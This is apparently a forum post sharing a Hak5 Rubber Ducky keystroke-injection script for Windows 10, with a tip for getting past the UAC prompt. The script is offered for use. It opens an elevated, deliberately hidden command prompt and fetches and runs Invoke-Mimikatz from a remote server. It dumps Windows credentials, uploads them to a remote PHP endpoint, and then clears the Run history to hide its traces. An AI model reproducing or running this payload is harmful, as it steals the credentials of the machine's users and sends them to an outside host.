i had same problem on windows 10 BUT how i did solved it ? i replaced ALT y by
LEFT
ENTER
so what's LEFT ? it's LEFTARROW on the keyboard so left key make the focus on the YES button!! than hit ENTER ;)
here's my payload for windows 10
REM Title: Invoke mimikatz and send creds to remote server
REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi, SamOX
DELAY 1000
REM Open an admin command prompt
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
LEFT
ENTER
DELAY 2000
REM Obfuscate the command prompt
STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER
DELAY 2000
STRING powershell IEX (New-Object Net.WebClient).DownloadString('http://yourserver/Invoke-Mimikatz.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://yourserver/vc/rx.php', $output)
ENTER
REM Clear the Run history and exit
STRING powershell Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
ENTER
STRING exit
ENTER
Good Luck!!